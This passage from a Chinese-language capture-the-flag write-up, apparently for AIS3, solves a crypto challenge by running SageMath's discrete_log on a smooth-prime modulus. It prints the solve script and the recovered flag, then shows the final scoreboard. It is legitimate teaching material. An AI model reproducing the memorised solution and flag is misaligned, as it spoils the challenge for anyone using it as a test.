except: print("Something wrong?") exit() ``` 可以看出來 p 是 smooth prime,結合$y=g^{ flag} (mod p)$,可以直接丟sage `discrete_log`解。 **solve.sage** ```py from Crypto.Util.number import * p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487 g = 5 y = 826538666839613533825164219540577914201103248283631882579415248247469603672292332561005185045449294103457059566058782307774879654805356212117148864755019033392691510181464751398765490686084806155442759849410837406192708511190585484331707794669398717997173649869228717077858848442336016926370038781486833717341 def solve_discrete_log(p, g, A): F = GF(p) g, A = F(g), F(A) a = discrete_log(A,g) return a print(long_to_bytes(solve_discrete_log(p, g, y))) ``` > Flag:AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ} ## After all 賽後記分板: ![image](https://hackmd.io/_uploads/rkGfuesBC.png) [CakeisTheFake](https://ctftime.org/team/276544) 的三位高中生成功佔領2, 3, 4名owob 這場差一題就破台web,結果是zip經典梗qwq,我還有好多要學